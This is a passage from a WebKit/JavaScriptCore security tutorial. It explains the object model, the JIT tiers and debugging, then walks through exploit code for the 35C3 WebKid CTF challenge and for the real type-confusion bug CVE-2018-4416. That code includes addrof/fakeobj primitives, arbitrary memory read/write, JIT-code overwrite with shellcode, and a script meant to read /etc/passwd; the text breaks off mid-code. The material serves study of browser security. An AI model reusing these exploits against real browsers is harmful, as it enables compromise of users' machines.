ID| -------------- | indexing | -------------- | type | -------------- | flags | -------------- | call state | -------------- | butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000007 | | 000000005 | | ------------- -------------- -> | ... | | 0xffff000 | | 000000006 | -------------- 0x2 JSArray with room for 3 array elements var a = []; The butterfly initializes an array with estimated size. The first element 0 means a number of used slots. And 3 means the max slots: -------------- |structure ID| -------------- | indexing | -------------- | type | -------------- | flags | -------------- | call state | -------------- | butterfly | -| ------------- -------------- | | 0 | | ------------- (8 bits for these two elements) | | 3 | -> ------------- | <hole> | ------------- | <hole> | ------------- | <hole> | ------------- 0x3 Object with fast properties and array elements var o = {f: 5, g: 6}; o[0] = 7; We filled an element of the array, so 0(used slots) increases to 1 now: -------------- |structure ID| -------------- | indexing | -------------- | type | -------------- | flags | -------------- | call state | -------------- | butterfly | -| ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000005 | | | 3 | -------------- -> ------------- | 0xffff000 | | 0xffff000 | | 000000006 | | 000000007 | -------------- ------------- | <hole> | ------------- | <hole> | ------------- 0x4 Object with fast and dynamic properties and array elements var o = {f: 5, g: 6}; o[0] = 7; o.h = 8; The new member will be appended before the pointer address. Arrays are placed on the right and attributes are on the left of butterfly pointer, just like the wing of a butterfly: -------------- |structure ID| -------------- | indexing | -------------- | type | -------------- | flags | -------------- | call state | -------------- | butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000008 | | 000000005 | | ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000006 | | | 2 | -------------- -> ------------- (pointer address) | 0xffff000 | | 000000007 | ------------- | <hole> | ------------- 0x5 Exotic object with dynamic properties and array elements var o = new Date(); o[0] = 7; o.h = 8; We extend the butterfly with a built-in class, the static properties will not change: -------------- |structure ID| -------------- | indexing | -------------- | type | -------------- | flags | -------------- | call state | -------------- | butterfly | -| ------------- -------------- | | 0xffff000 | | < C++ | | | 000000008 | | State > | -> ------------- -------------- | 1 | | < C++ | ------------- | State > | | 2 | -------------- ------------- | 0xffff000 | | 000000007 | ------------- | <hole> | ------------- Type Inference JavaScript is a weak, dynamic type language. The compiler will do a lot of works in type inference, causing it becomes extremely complicated. Watchpoints Watchpoints can happen in the following cases: haveABadTime Structure transition InferredValue InferredType and many others… When above situations happen, it will check whether watchpoint has optimized. In WebKit, it represents like this: class Watchpoint { public: virtual void fire() = 0; }; For example, the compiler wants to optimize 42.toString() to "42" (return directly rather than use code to convert), it will check if it’s already invalidated. Then, If valid, register watchpoint and do the optimization. Compilers 0x0. LLInt At the very beginning, the interpreter will generate byte code template. Use JVM as an example, to executes .class file, which is another kind of byte code template. Byte code helps to execute easier: parser -> bytecompiler -> generatorfication -> bytecode linker -> LLInt 0x1. Baseline JIT and Byte Code Template Most basic JIT, it will generate byte code template here. For example, this is add in javascript: function foo(a, b) { return a + b; } This is bytecode IL, which is more straightforward without sophisticated lexes and more convenient to convert to asm: [ 0] enter [ 1] get_scope loc3 [ 3] mov loc4, loc3 [ 6] check_traps [ 7] add loc6, arg1, arg2 [12] ret loc6 Code segment 7 and 12 can result following DFG IL (which we talk next). we can notice that it has many type related information when operating. In line 4, the code will check if the returning type matches: GetLocal(Untyped:@1, arg1(B<Int32>/FlushedInt32), R:Stack(6), bc#7); GetLocal(Untyped:@2, arg2(C<BoolInt32>/FlushedInt32), R:Stack(7), bc#7); ArithAdd(Int32:@23, Int32:@24, CheckOverflow, Exits, bc#7); MovHint(Untyped:@25, loc6, W:SideState, ClobbersExit, bc#7, ExitInvalid); Return(Untyped:@25, W:SideState, Exits, bc#12); The AST looks like this: +----------+ | return | +----+-----+ | | +----+-----+ | add | +----------+ | | | | v v +--+---+ +-+----+ | arg1 | | arg2 | +------+ +------+ 0x2. DFG If JSC detects a function running a few times. It will go to the next phase. The first phase has already generated byte code. So, DFG parser parses byte code directly, which it’s less abstract and easier to parse. Then, DFG will optimize and generate code: DFG bytecode parser -> DFG optimizer -> DFG Backend In this step, the code runs many times; and they type is relatively constant. Type check will use OSR. Imagine we will optimize from this: int foo(int* ptr) { int w, x, y, z; w = ... // lots of stuff x = is_ok(ptr) ? *ptr : slow_path(ptr); y = ... // lots of stuff z = is_ok(ptr) ? *ptr : slow_path(ptr); return w + x + y + z; } to this: int foo(int* ptr) { int w, x, y, z; w = ... // lots of stuff if (!is_ok(ptr)) return foo_base1(ptr, w); x = *ptr; y = ... // lots of stuff z = *ptr; return w + x + y + z; } The code will run faster because ptr will only do type check once. If the type of ptr is always different, the optimized code runs slower because of frequent bailing out. Thus, only when the code runs thousands of times, the browser uses OSR to optimize it. 0x3. FLT A function, if, runs a hundred or thousands of time, the JIT will use FLT . Like DFG, FLT will reuse the byte code template, but with a deeper optimization: DFG bytecode parser -> DFG optimizer -> DFG-to-B3 lowering -> B3 Optimizer -> Instruction Selection -> Air Optimizer -> Air Backend 0x4. More About Optimization Let’s have a look on change of IR in different optimizing phases: IR Style Example Bytecode High Level Load/Store bitor dst, left, right DFG Medium Level Exotic SSA dst: BitOr(Int32:@left, Int32:@right, ...) B3 Low Level Normal SSA Int32 @dst = BitOr(@left, @right) Air Architectural CISC Or32 %src, %dest Type check is gradually eliminated. You may understand why there are so many type confusions in browser CVE now. In addition, they are more and more similar to machine code. Once the type check fails, the code will return to previous IR (e.g. a type check fails in B3 stage, the compiler will return to DFG and execute in this stage). Garbage Collector (TODO) The heap of JSC is based on GC. The objects in heap will have a counter about their references. GC will scan the heap to collect the useless memory. …still, need more materials… Writing Exploitation Before we start exploiting bugs, we should look at how difficult it is to write an exploit. We focus on exploit code writing here, the detail of the vulnerability will not be introduced much. This challenge is WebKid from 35c3 CTF. You can compile WebKit binary(with instructions), prepared VM, and get exploit code here. Also, a macOS Mojave (10.14.2) should be prepared in VM or real machine (I think it won’t affect crashes in different versions of macOS, but the attack primitive might be different). Run via this command: DYLD_LIBRARY_PATH=/Path/to/WebKid DYLD_FRAMEWORK_PATH=/Path/to/WebKid /Path/to/WebKid/MiniBrowser.app/Contents/MacOS/MiniBrowser Remember to use FULL PATH. Otherwise, the browser will crash If running on a local machine, remember to create /flag1 for testing. Analyzing Let’s look at the patch: diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp index 20fcd4032ce..a75e4ef47ba 100644 --- a/Source/JavaScriptCore/runtime/JSObject.cpp +++ b/Source/JavaScriptCore/runtime/JSObject.cpp @@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot); } +static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) +{ + ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset)); + + Structure* previous = structure->previousID(); + if (!previous) + return false; + + unsigned unused; + bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused)); + if (!isLastAddedProperty) + return false; + + RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure); + + if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) { + ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0); + thisObject->setButterfly(vm, nullptr); + } + + thisObject->setStructure(vm, previous); + + return true; +} + // ECMA 8.6.2.5 bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName) { @@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper Structure* structure = thisObject->structure(vm); - bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes)); + PropertyOffset offset = structure->get(vm, propertyName, attributes); + bool propertyIsPresent = isValidOffset(offset); if (propertyIsPresent) { if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable) return false; - PropertyOffset offset; - if (structure->isUncacheableDictionary()) + if (structure->isUncacheableDictionary()) { offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { }); - else - thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset)); + } else { + if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) { + thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset)); + } + } - if (offset != invalidOffset) + if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly())) thisObject->locationForOffset(offset)->clear(); } diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in index 536481ecd6a..62189fea227 100644 --- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in +++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in @@ -25,6 +25,12 @@ (deny default (with partial-symbolication)) (allow system-audit file-read-metadata) +(allow file-read* (literal "/flag1")) + +(allow mach-lookup (global-name "net.saelo.shelld")) +(allow mach-lookup (global-name "net.saelo.capsd")) +(allow mach-lookup (global-name "net.saelo.capsd.xpc")) + #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300 (import "system.sb") #else The biggest problem here is about tryDeletePropertyQuickly function, which acted like this (comment provided from Linus Henze: static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) { // This assert will always be true as long as we're not passing an "invalid" offset ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset)); // Try to get the previous structure of this object Structure* previous = structure->previousID(); if (!previous) return false; // If it has none, stop here unsigned unused; // Check if the property we're deleting is the last one we added // This must be the case if the old structure doesn't have this property bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused)); if (!isLastAddedProperty) return false; // Not the last property? Stop here and remove it using the normal way. // Assert that adding the property to the last structure would result in getting the current structure RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure); // Uninteresting. Basically, this just deletes this objects Butterfly if it's not an array and we're asked to delete the last out-of-line property. The Butterfly then becomes useless because no property is stored in it, so we can delete it. if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) { ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0); thisObject->setButterfly(vm, nullptr); } // Directly set the structure of this object thisObject->setStructure(vm, previous); return true; } In short, one object will fall back to previous structure ID by deleting an object added previously. For example: var o = [1.1, 2.2, 3.3, 4.4]; // o is now an object with structure ID 122. o.property = 42; // o is now an object with structure ID 123. The structure is a leaf (has never transitioned) function helper() { return o[0]; } jitCompile(helper); // Running helper function many times // In this case, the JIT compiler will choose to use a watchpoint instead of runtime checks // when compiling the helper function. As such, it watches structure 123 for transitions. delete o.property; // o now "went back" to structure ID 122. The watchpoint was not fired. Let’s review some knowledge first. In JSC, we have runtime type checks and watchpoint to ensure correct type conversion. After a function running many times, the JSC will not use structure check. Instead, it will replace it with watchpoint. When an object is modified, the browser should trigger watchpoint to notify this change to fallback to JS interpreter and generate new JIT code. Here, restoring to the previous ID does will not trigger watchpoint even though the structure has changed, which means the structure of butterfly pointer will also be changed. However, the JIT code generated by helper will not fallback since watchpoint is not trigged, leading to type confusion. And the JIT code can still access legacy butterfly structure. We can leak/create fake objects. This is the minimum attack primitive: haxxArray = [13.37, 73.31]; haxxArray.newProperty = 1337; function returnElem() { return haxxArray[0]; } function setElem(obj) { haxxArray[0] = obj; } for (var i = 0; i < 100000; i++) { returnElem(); setElem(13.37); } delete haxxArray.newProperty; haxxArray[0] = {}; function addrof(obj) { haxxArray[0] = obj; return returnElem(); } function fakeobj(address) { setElem(address); return haxxArray[0]; } // JIT code treat it as intereger, but it actually should be an object. // We can leak address from it print(addrof({})); // Almost the same as above, but it's for write data print(fakeobj(addrof({}))); Utility Functions The exploit script creates many utility functions. They help us to create primitive which you need in almost every webkit exploit. We will only look at some important functions. Getting Native Code To attack, we need a native code function to write shellcode or ROP. Besides, functions will only be a native code after running many times(this one is in pwn.js😞 function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } function makeJITCompiledFunction() { // Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123); return target; } Controlling Bytes In the int64.js, we craft a class Int64. It uses Uint8Array to store number and creates many related operations like add and sub. In the previous chapter, we mention that JavaScript uses tagged value to represent the number, which means that you cannot control the higher byte. The Uint8Array array represents 8-bit unsigned integers just like native value, allowing us to control all 8 bytes. Simple example usage of Uint8Array: var x = new Uint8Array([17, -45.3]); var y = new Uint8Array(x); console.log(x[0]); // 17 console.log(x[1]); // value will be converted 8 bit unsigned integers // 211 It can be merged to a 16 byte array. The following shows us that Uint8Array store in native form clearly, because 0x0201 == 513: a = new Uint8Array([1,2,3,4]) b = new Uint16Array(a.buffer) // Uint16Array [513, 1027] Remaining functions of Int64 are simulations of different operations. You can infer their implementations from their names and comments. Reading the codes is easy too. Writing Exploit Detail about the Script I add some comments from Saelo’s original writeup(most comments are still his work, great thanks!): const ITERATIONS = 100000; // A helper function returns function with native code function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; }); // Return a function with native code, we will palce shellcode in this function later function makeJITCompiledFunction() { // Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123); return target; } function setup_addrof() { var o = [1.1, 2.2, 3.3, 4.4]; o.addrof_property = 42; // JIT compiler will install a watchpoint to discard the // compiled code if the structure of |o| ever transitions // (a heuristic for |o| being modified). As such, there // won't be runtime checks in the generated code. function helper() { return o[0]; } jitCompile(helper); // This will take the newly added fast-path, changing the structure // of |o| without the JIT code being deoptimized (because the structure // of |o| didn't transition, |o| went "back" to an existing structure). delete o.addrof_property; // Now we are free to modify the structure of |o| any way we like, // the JIT compiler won't notice (it's watching a now unrelated structure). o[0] = {}; return function(obj) { o[0] = obj; return Int64.fromDouble(helper()); }; } function setup_fakeobj() { var o = [1.1, 2.2, 3.3, 4.4]; o.fakeobj_property = 42; // Same as above, but write instead of reading from the array. function helper(addr) { o[0] = addr; } jitCompile(helper, 13.37); delete o.fakeobj_property; o[0] = {}; return function(addr) { helper(addr.asDouble()); return o[0]; }; } function pwn() { var addrof = setup_addrof(); var fakeobj = setup_fakeobj(); // verify basic exploit primitives work. var addr = addrof({p: 0x1337}); assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work"); print('[+] exploit primitives working'); // from saelo: spray structures to be able to predict their IDs. // from Auxy: I am not sure about why spraying. i change the code to: // // var structs = [] // var i = 0; // var abc = [13.37]; // abc.pointer = 1234; // abc['prop' + i] = 13.37; // structs.push(abc); // var victim = structs[0]; // // and the payload still work stablely. It seems this action is redundant var structs = [] for (var i = 0; i < 0x1000; ++i) { var array = [13.37]; array.pointer = 1234; array['prop' + i] = 13.37; structs.push(array); } // take an array from somewhere in the middle so it is preceeded by non-null bytes which // will later be treated as the butterfly length. var victim = structs[0x800]; print(`[+] victim @ ${addrof(victim)}`); // craft a fake object to modify victim var flags_double_array = new Int64("0x0108200700001000").asJSValue(); var container = { header: flags_double_array, butterfly: victim }; // create object having |victim| as butterfly. var containerAddr = addrof(container); print(`[+] container @ ${containerAddr}`); // add the offset to let compiler recognize fake structure var hax = fakeobj(Add(containerAddr, 0x10)); // origButterfly is now based on the offset of **victim** // because it becomes the new butterfly pointer // and hax[1] === victim.pointer var origButterfly = hax[1]; var memory = { addrof: addrof, fakeobj: fakeobj, // Write an int64 to the given address. writeInt64(addr, int64) { hax[1] = Add(addr, 0x10).asDouble(); victim.pointer = int64.asJSValue(); }, // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer. write16(addr, value) { // Set butterfly of victim object and dereference. hax[1] = Add(addr, 0x10).asDouble(); victim.pointer = value; }, // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end. write(addr, data) { while (data.length % 4 != 0) data.push(0); var bytes = new Uint8Array(data); var ints = new Uint16Array(bytes.buffer); for (var i = 0; i < ints.length; i++) this.write16(Add(addr, 2 * i), ints[i]); }, // Read a 64 bit value. Only works for bit patterns that don't represent NaN. read64(addr) { // Set butterfly of victim object and dereference. hax[1] = Add(addr, 0x10).asDouble(); return this.addrof(victim.pointer); }, // Verify that memory read and write primitives work. test() { var v = {}; var obj = {p: v}; var addr = this.addrof(obj); assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work"); var propertyAddr = Add(addr, 0x10); var value = this.read64(propertyAddr); assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work"); this.write16(propertyAddr, 0x1337); assert(obj.p == 0x1337, "write16 does not work"); }, }; // Testing code, not related to exploit var plainObj = {}; var header = memory.read64(addrof(plainObj)); memory.writeInt64(memory.addrof(container), header); memory.test(); print("[+] limited memory read/write working"); // get targetd function var func = makeJITCompiledFunction(); var funcAddr = memory.addrof(func); // change the JIT code to shellcode // offset addjustment is a little bit complicated here :P print(`[+] shellcode function object @ ${funcAddr}`); var executableAddr = memory.read64(Add(funcAddr, 24)); print(`[+] executable instance @ ${executableAddr}`); var jitCodeObjAddr = memory.read64(Add(executableAddr, 24)); print(`[+] JITCode instance @ ${jitCodeObjAddr}`); // var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368)); // offset for debug builds // final JIT Code address var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352)); print(`[+] JITCode @ ${jitCodeAddr}`); var s = "A".repeat(64); var strAddr = addrof(s); var strData = Add(memory.read64(Add(strAddr, 16)), 20); shellcode.push(...strData.bytes()); // write shellcode memory.write(jitCodeAddr, shellcode); // trigger shellcode var res = func(); var flag = s.split('\n')[0]; if (typeof(alert) !== 'undefined') alert(flag); print(flag); } if (typeof(window) === 'undefined') pwn(); Conclusion on the Exploitation To conclude, the exploit uses two most important attack primitive - addrof and fakeobj - to leak and craft. A JITed function is leaked and overwritten with our shellcode array. Then we called the function to leak flag. Almost all the browser exploits follow this form. Thanks, 35C3 CTF organizers especially Saelo. It’s a great challenge to learn WebKit type confusion. Debugging WebKit Now, we have understood all the theories: architecture, object model, exploitation. Let’s start some real operations. To prepare, use compiled JSC from Setup part. Just use the latest version since we only discuss debugging here. I used to try to set breakpoints to find their addresses, but this is actually very stupid. JSC has many non-standard functions which can dump information for us (you cannot use most of them in Safari!): print() and debug(): Like console.log() in node.js, it will output information to our terminal. However, print in Safari will use a real-world printer to print documents. describe(): Describe one object. We can get the address, class member, and related information via the function. describeArrya(): Similar to describe(), but it focuses on array information of an object. readFile(): Open a file and get the content noDFG() and noFLT(): Disable some JIT compilers. Setting Breakpoints The easiest way to set breakpoints is breaking an unused function. Something like print or Array.prototype.slice([]);. Since we do not know if a function will affect one PoC most of the time, this method might bring some side effect. Setting vulnerable functions as our breakpoints also work. When you try to understand a vulnerability, breaking them will be extremely important. But their calling stacks may not be pleasant. We can also customize a debugging function (use int 3) in WebKit source code. Defining, implementing, and registering our function in /Source/JavaScriptCore/jsc.cpp. It helps us to hang WebKit in debuggers: static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage*); addFunction(vm, "dbg", functionDbg, 0); static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage* exec) { asm("int 3"); return JSValue::encode(jsUndefined()); } Since the third method requires us to modify the source code, I prefer the previous two personally. Inspecting JSC Objects Okay, we use this script: arr = [0, 1, 2, 3] debug(describe(arr)) print() Use our gdb with gef to debug; you may guess out we will break the print(): gdb jsc gef> b *printInternal gef> r --> Object: 0x7fffaf4b4350 with butterfly 0x7ff8000e0010 (Structure 0x7fffaf4f2b50:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 100 ... // Some backtrace The Object address and butterfly pointer might vary on your machine. If we edit the script, the address may also change. Please adjust them based on your output. We shall have a first glance on the object and its pointer: gef> x/2gx 0x7fffaf4b4350 0x7fffaf4b4350: 0x0108211500000064 0x00007ff8000e0010 gef> x/4gx 0x00007ff8000e0010 0x7ff8000e0010: 0xffff000000000000 0xffff000000000001 0x7ff8000e0020: 0xffff000000000002 0xffff000000000003 What if we change it to float? arr = [1.0, 1.0, 2261634.5098039214, 2261634.5098039214] debug(describe(arr)) print() We use a small trick here: 2261634.5098039214 represents as 0x4141414141414141 in memory. Finding value is more handy via the magical number (we use butterfly pointer directly here). In default, JSC will filled unused memory with 0x00000000badbeef0: gef> x/10gx 0x00007ff8000e0010 0x7ff8000e0010: 0x3ff0000000000000 0x3ff0000000000000 0x7ff8000e0020: 0x4141414141414141 0x4141414141414141 0x7ff8000e0030: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0040: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0050: 0x00000000badbeef0 0x00000000badbeef0 The memory layout is the same as the JSC Object Model part, so we won’t repeat here. Getting Native Code Now, it’s time to get compiled function. It plays an important role in understanding JSC compiler and exploiting: const ITERATIONS = 100000; function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; }); debug("jitCompile Ready") function makeJITCompiledFunction() { function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123); return target; } func = makeJITCompiledFunction() debug(describe(func)) print() It’s not hard if you read previous section carefully. Now, we should get their native code in the debugger: --> Object: 0x7fffaf468120 with butterfly (nil) (Structure 0x7fffaf4f1b20:[Function, {}, NonArray, Proto:0x7fffaf4d0000, Leaf]), StructureID: 63 ... // Some backtrace ... gef> x/gx 0x7fffaf468120+24 0x7fffaf468138: 0x00007fffaf4fd080 gef> x/gx 0x00007fffaf4fd080+24 0x7fffaf4fd098: 0x00007fffefe46000 // In debug mode, it's okay to use 368 as offset // In release mode, however, it should be 352 gef> x/gx 0x00007fffefe46000+368 0x7fffefe46170: 0x00007fffafe02a00 gef> hexdump byte 0x00007fffafe02a00 0x00007fffafe02a00 55 48 89 e5 48 8d 65 d0 48 b8 60 0c 45 af ff 7f UH..H.e.H.`.E... 0x00007fffafe02a10 00 00 48 89 45 10 48 8d 45 b0 49 bb b8 2e c1 af ..H.E.H.E.I..... 0x00007fffafe02a20 ff 7f 00 00 49 39 03 0f 87 9c 00 00 00 48 8b 4d ....I9.......H.M 0x00007fffafe02a30 30 48 b8 00 00 00 00 00 00 ff ff 48 39 c1 0f 82 0H.........H9... Put you dump byte to rasm2: rasm -d "you dump byte here" push ebp dec eax mov ebp, esp dec eax lea esp, [ebp - 0x30] dec eax mov eax, 0xaf450c60 invalid jg 0x11 add byte [eax - 0x77], cl inc ebp adc byte [eax - 0x73], cl inc ebp mov al, 0x49 mov ebx, 0xafc12eb8 invalid jg 0x23 add byte [ecx + 0x39], cl add ecx, dword [edi] xchg dword [eax + eax - 0x74b80000], ebx dec ebp xor byte [eax - 0x48], cl add byte [eax], al add byte [eax], al add byte [eax], al invalid dec dword [eax + 0x39] ror dword [edi], 0x82 Emmmm…the disassembly code is partially incorrect. At least we can see a draft now. 1 Day Exploitation Let’s use the bug in triggering bug section: CVE-2018-4416. It’s a type confusion. Since we already talked about WebKid, a similar CTF challenge which has type confusion bug, it won’t be difficult to understand this one. Switch to the vulnerable branch and start our journey. PoC is provided at the beginning of the article. Copy and paste the int64.js, shellcode.js, and utils.js from WebKid repo to your virtual machine. Root Cause Quotation from Lokihardt The following is description of CVE-2018-4416 from Lokihardt, with my partial highlight. When a for-in loop is executed, a JSPropertyNameEnumerator object is created at the beginning and used to store the information of the input object to the for-in loop. Inside the loop, the structure ID of the “this” object of every get_by_id expression taking the loop variable as the index is compared to the cached structure ID from the JSPropertyNameEnumerator object. If it’s the same, the “this” object of the get_by_id expression will be considered having the same structure as the input object to the for-in loop has. The problem is, it doesn’t have anything to prevent the structure from which the cached structure ID from being freed. As structure IDs can be reused after their owners get freed, this can lead to type confusion. Line by Line Explanation Comment in /* */ is my analysis, which might be inaccurate. Comment after // is by Lokihardt: function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } } function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) { } /* Step 3 */ /* This is abother target */ /* We want to confuse it(tmp) with obj(fake_object_memory) */ let tmp = {a: 1}; gc(); tmp.__proto__ = {}; for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator. /* Step 4 */ /* Change the structure of tmp to {} */ tmp.__proto__ = {}; gc(); /* The structure of obj is also {} now */ obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's. /* Step 5 */ /* Compiler believes obj and tmp share the same type now */ /* Thus, obj[k] will retrieve data from object with offset a */ /* In the patched version, it should be undefined */ return obj[k]; // Type confusion. } } /* Step 0 */ /* Prepare structure {} */ opt({}); /* Step 1 */ /* Target Array, 0x1234 is our fake address*/ let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234; /* Step 2 */ /* Trigger type confusion*/ let fake_object = opt(fake_object_memory); /* JSC crashed */ print(fake_object); Debugging Let’s debug it to verify our thought. I modify the original PoC for easier debugging. But they are almost identical except additional print(): function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } } function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) { } let tmp = {a: 1}; gc(); tmp.__proto__ = {}; for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator. tmp.__proto__ = {}; gc(); obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's. debug("Confused Object: " + describe(obj)); return obj[k]; // Type confusion. } } opt({}); let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x41424344; let fake_object = opt(fake_object_memory); print() print(fake_object) Then gdb ./jsc, b *printInternal, and r poc.js. We can get: ... --> Confused Object: Object: 0x7fffaf6b0080 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Object, {}, NonArray, Proto:0x7fffaf6b3e80, Leaf]), StructureID: 142 --> Confused Object: Object: 0x7fffaf6cbe40 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Uint32Array, {}, NonArray, Proto:0x7fffaf6b3e00, Leaf]), StructureID: 142 ... Let’s take a glance at our fake address. JSC is too large to find your dream breakpoint. Let’s set a watchpoint to track its flow instead: gef> x/4gx 0x7fffaf6cbe40 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064 gef> x/4gx 0x00007fe8014fc000 0x7fe8014fc000: 0x0000000041424344 0x0000000000000000 0x7fe8014fc010: 0x0000000000000000 0x0000000000000000 gef> rwatch *0x7fe8014fc000 Hardware read watchpoint 2: *0x7fe8014fc000 We get expected output later: Thread 1 "jsc" hit Hardware read watchpoint 2: *0x7fe8014fc000 Value = 0x41424344 0x00005555555bebd4 in JSC::JSCell::structureID (this=0x7fe8014fc000) at ../../Source/JavaScriptCore/runtime/JSCell.h:133 133 StructureID structureID() const { return m_structureID; } But why does it show at structure ID? We can get answer from their memory layout: obj (fake_object_memory): 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064 tmp ({a: 1}): 0x7fffaf6cbdc0: 0x000016000000008b 0x0000000000000000 0x7fffaf6cbdd0: 0xffff000000000001 0x0000000000000000 So, the pointer of Uin32Array is returned as an object. And m_structureID is at the beginning of each JS Objects. Since 0x1234 is the first element of our array, it’s reasonable for structureID() to retrieve it. We can use data in Uint32Array to craft fake object now. Awesome! Constructing Attack Primitive addrof Now, we should craft a legal object. I choose {} (an empty object) as our target. How does an empty look like in memory(ignore scripting and debugging here): 0x7fe8014fc000: 0x010016000000008a 0x0000000000000000 Okay, it begins with 0x010016000000008a. We can simulate it in Uint32Array handy(remember to paste gc and opt to here): function gc() { ... // Same as above's } function opt(obj) { ... // Same as above;s } opt({}); let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory); fake_object.a = {} print(fake_object_memory[4]) print(fake_object_memory[5]) Two mystery numbers are returned: 2591768192 # hex: 0x9a7b3e80 32731 # hex: 0x7fdb Obviously, it is in pointer format. We can leak arbitrary object now! fakeobj Getting a fakeob is almost identical to crafting addrof. The difference is that you need to fill an address to UInt32Array, then get the object via attribute a in fake_object Arbitrary R/W and Shellcode Execution It’s similar to the exploit script in WebKid challenge. The full script is too long to explain line by line. You can, however, find it here. You may need to try around 10 rounds to exploit successfully. It will read your /etc/passwd when succeed. Here is the core code: // get compiled function var func = makeJITCompiledFunction(); function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } } // Typr confusion here function opt(obj) { for (let i = 0; i < 500; i++) { } let tmp = {a: 1}; gc(); tmp.__proto__ = {}; for (let k in tmp) { tmp.__proto__ = {}; gc(); obj.__proto__ = {}; // Compiler are misleaded that obj and tmp shared same type return obj[k]; } } opt({}); // Use Uint32Array to craft a controable memory // Craft a fake object header let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory); debug(describe(fake_object)) // Use JIT to stablized our attribute // Attribute a will be used by addrof/fakeobj // Attrubute b will be used by arbitrary read/write for (i = 0; i < 0x1000; i ++) { fake_object.a = {test : 1}; fake_object.b = {test : 1}; } // get addrof // we pass a pbject to fake_object // since fake_object is inside fake_object_memory and represneted as integer // we can use fake_object_memory 